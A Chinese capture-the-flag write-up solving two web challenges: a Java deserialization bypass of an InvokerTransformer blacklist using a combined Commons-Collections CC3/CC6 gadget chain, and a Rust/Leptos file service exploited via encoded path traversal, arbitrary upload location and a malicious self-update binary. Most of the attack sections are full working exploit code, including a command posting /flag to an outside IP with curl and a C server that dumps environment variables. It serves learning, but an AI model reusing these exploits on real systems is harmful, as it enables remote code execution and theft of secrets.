1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 java.io.InvalidClassException: Forbidden class; org.apache.commons.collections.functors.InvokerTransformer Hgame.ezCC.BlacklistObjectInputStream.resolveClass(BlacklistObjectInputStream.java:19 ) java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1988 ) java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1852 ) java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2186 ) java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1669 ) java.io.ObjectInputStream.readArray(ObjectInputStream.java:2119 ) java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1657 ) java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:2431 ) java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2355 ) java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2213 ) java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1669 ) java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:2431 ) java.io.ObjectInputStream.defaultReadObject(ObjectInputStream.java:633 ) org.apache.commons.collections.map.LazyMap.readObject(LazyMap.java:150 ) sun.reflect.GeneratedMethodAccessor22.invoke(Unknown Source) sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43 ) java.lang.reflect.Method.invoke(Method.java:498 ) java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1184 ) java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2322 ) java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2213 ) java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1669 ) java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:2431 ) java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2355 ) java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2213 ) java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1669 ) java.io.ObjectInputStream.readObject(ObjectInputStream.java:503 ) java.io.ObjectInputStream.readObject(ObjectInputStream.java:461 ) java.util.HashSet.readObject(HashSet.java:342 ) sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62 ) sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43 ) java.lang.reflect.Method.invoke(Method.java:498 ) java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1184 ) java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2322 ) java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2213 ) java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1669 ) java.io.ObjectInputStream.readObject(ObjectInputStream.java:503 ) java.io.ObjectInputStream.readObject(ObjectInputStream.java:461 ) Hgame.ezCC.Tool.deserialize(Tool.java:9 ) Hgame.ezCC.myServlet.showWelcomePage(myServlet.java:74 ) Hgame.ezCC.myServlet.doGet(myServlet.java:19 ) javax.servlet.http.HttpServlet.service(HttpServlet.java:529 ) javax.servlet.http.HttpServlet.service(HttpServlet.java:623 ) org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:51 )
这时候才想起来刚刚反编译有个blacklist的class:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package Hgame.ezCC;import java.io.IOException;import java.io.InputStream;import java.io.InvalidClassException;import java.io.ObjectInputStream;import java.io.ObjectStreamClass;public class BlacklistObjectInputStream extends ObjectInputStream { public BlacklistObjectInputStream (InputStream in) throws IOException { super (in); } @Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String className = desc.getName(); if (className.equals("org.apache.commons.collections.functors.InvokerTransformer" )) { throw new InvalidClassException ("Forbidden class" , className); } return super .resolveClass(desc); } }
啊,这个时候AI就跟我说,可以CC3+CC6,用CC3的头部绕过InvokerTransformer,用CC6的尾部来RCE。Exp.java如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.keyvalue.TiedMapEntry;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import javax.xml.transform.Templates;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class Exp { public static void main (String[] args) throws Exception { String cmd = "curl -X POST --data-binary @/flag http://120.26.146.96:3306/" ; TemplatesImpl obj = new TemplatesImpl (); setFieldValue(obj, "_bytecodes" , new byte [][]{createEvilBytecode(cmd)}); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new com .sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer ( new Class []{Templates.class}, new Object []{obj} ) }; Transformer[] fakeTransformers = new Transformer []{new ConstantTransformer (1 )}; ChainedTransformer chainedTransformer = new ChainedTransformer (fakeTransformers); Map innerMap = new HashMap (); Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "k" ); HashMap<Object, Object> expMap = new HashMap <>(); expMap.put(tiedMapEntry, "v" ); setFieldValue(chainedTransformer, "iTransformers" , transformers); lazyMap.remove("k" ); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(expMap); oos.close(); System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray())); } private static byte [] createEvilBytecode(String cmd) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("EvilClass" + System.nanoTime()); cc.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" )); CtConstructor constructor = cc.makeClassInitializer(); constructor.setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }" ); return cc.toBytecode(); } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } }
不太懂,但真的成功了😨。不过nc是弹不过来的,bash也不行,但是一开始验证RCE的时候是用了curl,那么自然想到使用@把文件post上来 ,也确实是可行的。
1 javac -cp ysoserial-all.jar Exp.java; java -cp .:ysoserial-all.jar Exp | pbcopy
那么到底是为啥呢?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 private static byte [] createEvilBytecode(String cmd) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("EvilClass" + System.nanoTime()); cc.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" )); CtConstructor constructor = cc.makeClassInitializer(); constructor.setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }" ); return cc.toBytecode(); }
这一段可以理解,就是php pop链的eval部分
1 2 3 4 5 6 7 8 9 TemplatesImpl obj = new TemplatesImpl ();setFieldValue(obj, "_bytecodes" , new byte [][]{createEvilBytecode(cmd)}); setFieldValue(obj, "_name" , "HelloTemplatesImpl" ); setFieldValue(obj, "_tfactory" , new com .sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl());
这一段是CC3的核心内容。Java 反序列化时不会自动加载字节码。需要一个 JDK 自带的类 TemplatesImpl 。TemplatesImpl是⼀个可以加载字节码的类,它的成员变量_bytecodes可以存储字节码,通过调⽤其newTransformer()⽅法,即可执⾏这段字节码的类构造器。而且这个类不在commons-collections黑名单里。这一步有点类似php的unserialize啊。这里我参考了这篇文章https://www.cnblogs.com/gk0d/p/16881370.html ,讲解CC3,收获还是挺大的。上面这个片段和这篇文章里的PoC基本一模一样。
1 2 3 4 5 6 7 8 9 10 11 12 13 Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer ( new Class []{Templates.class}, new Object []{obj} ) };
还是回到刚刚那篇文章。CC1、CC6使用了黑名单里的InvokerTransformer来反射任意方法。而CC3使用了com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter。但是,缺少了InvokerTransformer,TrAXFilter的构造⽅法也是⽆法调⽤的。这⾥会⽤到⼀个新的Transformer,就是org.apache.commons.collections.functors.InstantiateTransformer。InstantiateTransformer也是⼀个实现了Transformer接⼝的类,他的作⽤就是调⽤构造⽅法。上方代码就是利⽤InstantiateTransformer来调⽤到TrAXFilter的构造⽅法,再利⽤其构造⽅法⾥的templates.newTransformer()调⽤到TemplatesImpl⾥的字节码。这就可以绕过InvokerTransformer执行一开始写的字节码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Transformer[] fakeTransformers = new Transformer []{new ConstantTransformer (1 )}; ChainedTransformer chainedTransformer = new ChainedTransformer (fakeTransformers);Map innerMap = new HashMap ();Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "k" );HashMap<Object, Object> expMap = new HashMap <>(); expMap.put(tiedMapEntry, "v" );
这里对应CC6的部分,接着参考同一个作者的文章:text 。这段代码实现的功能是让服务器在readObject的时候触发刚刚构造的链条。关键点是,HashMap反序列化时会把里面所有的Key都算一遍hashCode()。这里把Key设置为TiedMapEntry。当TiedMapEntry.hashCode() 会调用内部 Map 的 get()。再把内部 Map 设置为 LazyMap。而当LazyMap.get() 发现 Key 不存在时,会调用Transformer链来生成值。
1 2 3 4 5 6 7 setFieldValue(chainedTransformer, "iTransformers" , transformers); lazyMap.remove("k" );
这一段是最后的构造,把前面构造的Transformer 链放入准备**被调用hashCode()**的map。
easyuu uu是什么意思,很简单吗,分开来想想你就明白啦
看前端,发现是Leptos + WASM,那么后端就是Rust了。uu是什么意思?猜测是URL Unencoding,尝试双重编码。不过没用。突然发现,单层编码居然能够穿越。 先把二进制下载下来
1 curl -v "http://1.116.118.188:32458/api/download_file/..%2feasyuu" --output easyuu_bin
虚拟文件系统大小是0,响应也是0.
1 curl -v "http://1.116.118.188:32458/api/download_file/..%2f..%2f..%2f..%2fproc%2fself%2fcmdline"
读一下Cargo.toml,还真读到了。
1 curl -v "http://1.116.118.188:32458/api/download_file/..%2fCargo.toml"
奇怪的事情从这里开始发生。dep:self-replace是什么东西啊😨这里也了解到,后端监听3000端口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 [package] name = "easyuu" version = "0.1.0" edition = "2024" [lib] crate-type = ["cdylib" , "rlib" ][dependencies] leptos = { version = "0.8.15" , features = ["multipart" , "nightly" ] }leptos_router = { version = "0.8.11" , features = ["nightly" ] }axum = { version = "0.8.8" , optional = true }console_error_panic_hook = { version = "0.1.7" , optional = true }leptos_axum = { version = "0.8.7" , optional = true }leptos_meta = { version = "0.8.5" }tokio = { version = "1.49.0" , features = ["full" ], optional = true }wasm-bindgen = { version = "0.2.108" , optional = true }serde = { version = "1.0.228" , features = ["derive" ] }tokio-util = "0.7.18" self-replace = { version = "1.5.0" , optional = true }semver = "1.0.27" [features] hydrate = [ "leptos/hydrate" , "dep:console_error_panic_hook" , "dep:wasm-bindgen" , ] ssr = [ "dep:axum" , "dep:tokio" , "dep:leptos_axum" , "dep:self-replace" , "leptos/ssr" , "leptos_meta/ssr" , "leptos_router/ssr" , ] [profile.wasm-release] inherits = "release" opt-level = 'z' lto = true codegen-units = 1 panic = "abort" [package.metadata.leptos] output-name = "easyuu" site-root = "target/site" site-pkg-dir = "pkg" style-file = "style/main.scss" assets-dir = "public" site-addr = "0.0.0.0:3000" reload-port = 3001 end2end-cmd = "npx playwright test" end2end-dir = "end2end" browserquery = "defaults" env = "DEV" bin-features = ["ssr" ]bin-default-features = false lib-features = ["hydrate" ]lib-default-features = false lib-profile-release = "wasm-release"
至此,当前所有能够猜出来的文件泄漏就这些了(源码好像被删了,反正我没找到)。
那么,只能对easyuu二进制下手了,macOS arm64的IDA PRO破解版还没找到,只能用Ghidra,妈的Rust全是垃圾回收,代码看不下去一点,Ghidra又巨卡,关键地方还decomelier失效… 无语住了,直接上strings分析。
那么既然有已知的api(api/download_file),自然是要看看还有什么api(我可不想扒那个wasm)。
1 2 3 4 5 6 ➜ eazyuu strings easyuu_bin | grep "api/" /api/download_file/ application/octet-streamheader_read_timeoutcore missinga spawned task panicked and the runtime is configured to shut down on unhandled panicinternal error: entered unreachable codeCannot start a runtime from within a runtime. This happens because a function (like `block_on`) attempted to block the current thread while the thread is being used to drive asynchronous tasks.failed to park threadFailed to `Enter::block_on`0.1.0Failed to get configuration/api/download_file/{filename}Failed to bind to addressServer failedFailed building the RuntimeHeaderValue::from_static with invalid bytesassertion failed: (*tail ).value.is_none()assertion failed: (*next).value.is_some()EventListener was not inserted into the linked list, make sure you're not polling EventListener/listener! after it has finishedtext/html; charset=utf-8[internal exception] blocking task ran twice.ErrorinnerConfigNotFoundConfigSectionNotFoundConfigErrorEnvVarError`Ready` polled after completionNotEofIncompleteBodydescription() is deprecated; use Display /api/upload_filetext/plain /api/list_dir /api/lisH
对了呀。其中/api/lisH是前端js、wasm相关,忽略;/api/upload_filetext/plain确实是上传;/api/list_dir有点可以,试一下(怪贴心的,响应里还教你怎么请求):
1 2 curl -v -X POST "http://1.116.118.188:32458/api/list_dir" \ -d "path=/"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ➜ eazyuu curl -v -X POST "http://1.116.118.188:31005/api/list_dir" \ -d "path=/" Note: Unnecessary use of -X or --request, POST is already inferred. * Trying 1.116.118.188:31005... * Connected to 1.116.118.188 (1.116.118.188) port 31005 > POST /api/list_dir HTTP/1.1 > Host: 1.116.118.188:31005 > User-Agent: curl/8.7.1 > Accept: */* > Content-Length: 6 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 6 bytes < HTTP/1.1 200 OK < content-type: application/json < content-length: 782 < date : Thu, 12 Feb 2026 19:13:58 GMT < * Connection [{"name" :"bin" ,"is_dir" :false ,"size" :7},{"name" :"boot" ,"is_dir" :true ,"size" :0},{"name" :"dev" ,"is_dir" :true ,"size" :360},{"name" :"etc" ,"is_dir" :true ,"size" :10},{"name" :"home" ,"is_dir" :true ,"size" :0},{"name" :"lib" ,"is_dir" :false ,"size" :7},{"name" :"lib64" ,"is_dir" :false ,"size" :9},{"name" :"media" ,"is_dir" :true ,"size" :0},{"name" :"mnt" ,"is_dir" :true ,"size" :0},{"name" :"opt" ,"is_dir" :true ,"size" :0},{"name" :"proc" ,"is_dir" :true ,"size" :0},{"name" :"root" ,"is_dir" :true ,"size" :30},{"name" :"run" ,"is_dir" :true ,"size" :14},{"name" :"sbin" ,"is_dir" :false ,"size" :8},{"name" :"srv" ,"is_dir" :true ,"size" :0},{"name" :"sys" ,"is_dir" :true ,"size" :0},{"name" :"tmp" ,"is_dir" :true ,"size" :0},{"name" :"usr" ,"is_dir" :true ,"size" :40},{"name" :"var" ,"is_dir" :true ,"size" :22},{"name" :"app" ,"is_dir" :true ,"size" :12}]
简单溜达一圈,没找到flag,但是发现了这个:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ➜ eazyuu curl -v -X POST "http://1.116.118.188:32458/api/list_dir" \ -d "path=/app/update" Note: Unnecessary use of -X or --request, POST is already inferred. * Trying 1.116.118.188:32458... * Connected to 1.116.118.188 (1.116.118.188) port 32458 > POST /api/list_dir HTTP/1.1 > Host: 1.116.118.188:32458 > User-Agent: curl/8.7.1 > Accept: */* > Content-Length: 16 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 16 bytes < HTTP/1.1 200 OK < content-type: application/json < content-length: 101 < date : Thu, 12 Feb 2026 18:10:35 GMT < * Connection [{"name" :"easyuu.zip" ,"is_dir" :false ,"size" :103224},{"name" :"easyuu" ,"is_dir" :false ,"size" :11071912}]
easyuu.zip ,那肯定是要下载下来研究一下:
1 curl -v "http://1.116.118.188:32458/api/download_file/..%2fupdate%2feasyuu.zip" --output easyuu.zip
我超,是源码!
1 2 3 4 if args.len () > 1 && args[1 ] == "--version" { println! ("{}" , VERSION); return ; }
简单分析一下,大彻大悟了。uu 指的是 uploads/update 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #[cfg(feature = "ssr" )] async fn get_new_version () -> Option <Version> { use tokio::process::Command; let output = Command::new ("./update/easyuu" ) .arg ("--version" ) .output () .await .ok ()?; let version_str = String ::from_utf8 (output.stdout).ok ()?.trim ().to_string (); Version::parse (&version_str).ok () } #[cfg(feature = "ssr" )] async fn update () -> Result <(), Box <dyn std::error::Error>> { let new_binary = "./update/easyuu" ; self_replace::self_replace (&new_binary)?; Ok (()) }
这个easyuu每隔5s检测一次./update/easyuu是否存在,如果存在,会执行./update/easyuu --version,如果返回的版本号大于0.1.0,就会self_replace到./update/easyuu。
1 2 3 4 5 6 Some ("path1" ) => { if let Ok (p) = field.text ().await { base_dir = PathBuf::from (p); } continue ; }
而且这个/api/upload_file还存在一个path1参数,可以任意指定上传位置。
好的那来测试一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #include <stdio.h> #include <string.h> #include <unistd.h> #include <stdlib.h> int main (int argc, char *argv[]) { if (argc == 2 && strcmp (argv[1 ], "--version" ) == 0 ) { printf ("0.2.0\n" ); return 0 ; } execl("/bin/bash" , "curl" , "http://120.26.146.96:3306/hello" , NULL ); perror("execl failed" ); return 1 ; }
我这里使用orb交叉编译到linux-x86
1 x86_64-linux-gnu-gcc exploit.c -o easyuu
上传!
1 2 3 curl -v -X POST "http://1.116.118.188:31228/api/upload_file" \ -F "path1=./update" \ -F "file=@easyuu;filename=easyuu"
坏了,容器是不出网的,我相信flag大概率就在env里。但是如果直接env > /app/uploads/env.txt,easyuu被替换后,api也挂了。所以需要自己实现一个HTTP Server,监听3000端口。
C写HTTP我真不会,让ai来吧:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <fcntl.h> #define PORT 3000 void send_file_content (int sock, const char *filepath, const char *title) { char buffer[1024 ]; char title_buf[256 ]; int fd = open(filepath, O_RDONLY); sprintf (title_buf, "\n\n--- %s (%s) ---\n" , title, filepath); send(sock, title_buf, strlen (title_buf), 0 ); if (fd != -1 ) { int bytes; while ((bytes = read(fd, buffer, sizeof (buffer))) > 0 ) { send(sock, buffer, bytes, 0 ); } close(fd); } else { char *msg = "[File not found or permission denied]\n" ; send(sock, msg, strlen (msg), 0 ); } } int main (int argc, char *argv[]) { if (argc > 1 && strcmp (argv[1 ], "--version" ) == 0 ) { printf ("0.2.0\n" ); return 0 ; } system("env > /tmp/envs.txt" ); int server_fd, new_socket; struct sockaddr_in address ; int opt = 1 ; int addrlen = sizeof (address); char buffer[1024 ] = {0 }; if ((server_fd = socket(AF_INET, SOCK_STREAM, 0 )) == 0 ) { perror("socket failed" ); exit (EXIT_FAILURE); } if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &opt, sizeof (opt))) { perror("setsockopt" ); exit (EXIT_FAILURE); } address.sin_family = AF_INET; address.sin_addr.s_addr = INADDR_ANY; address.sin_port = htons(PORT); if (bind(server_fd, (struct sockaddr *)&address, sizeof (address)) < 0 ) { perror("bind failed" ); exit (EXIT_FAILURE); } if (listen(server_fd, 3 ) < 0 ) { perror("listen" ); exit (EXIT_FAILURE); } printf ("Hacked Web Server listening on port %d\n" , PORT); while (1 ) { if ((new_socket = accept(server_fd, (struct sockaddr *)&address, (socklen_t *)&addrlen)) < 0 ) { continue ; } read(new_socket, buffer, 1024 ); char *header = "HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\nConnection: close\r\n\r\n" ; send(new_socket, header, strlen (header), 0 ); send_file_content(new_socket, "/tmp/envs.txt" , "Environment Variables" ); close(new_socket); } return 0 ; }
上传后任意请求,拿到flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 --- Environment Variables (/tmp/envs.txt) --- KUBERNETES_SERVICE_PORT=443 KUBERNETES_PORT=tcp://10.43.0.1:443 HOSTNAME=ret2shell-192-3058-1770922650 HOME=/root LEPTOS_SITE_ADDR=0.0.0.0:3000 LEPTOS_SITE_ROOT=site RUST_LOG=info KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin KUBERNETES_PORT_443_TCP_PORT=443 KUBERNETES_PORT_443_TCP_PROTO=tcp KUBERNETES_SERVICE_PORT_HTTPS=443 KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443 KUBERNETES_SERVICE_HOST=10.43.0.1 PWD=/app FLAG=hgame{Up1o@D_and_updAT3-@Re_rEaI1Y_e@5Y1cfda}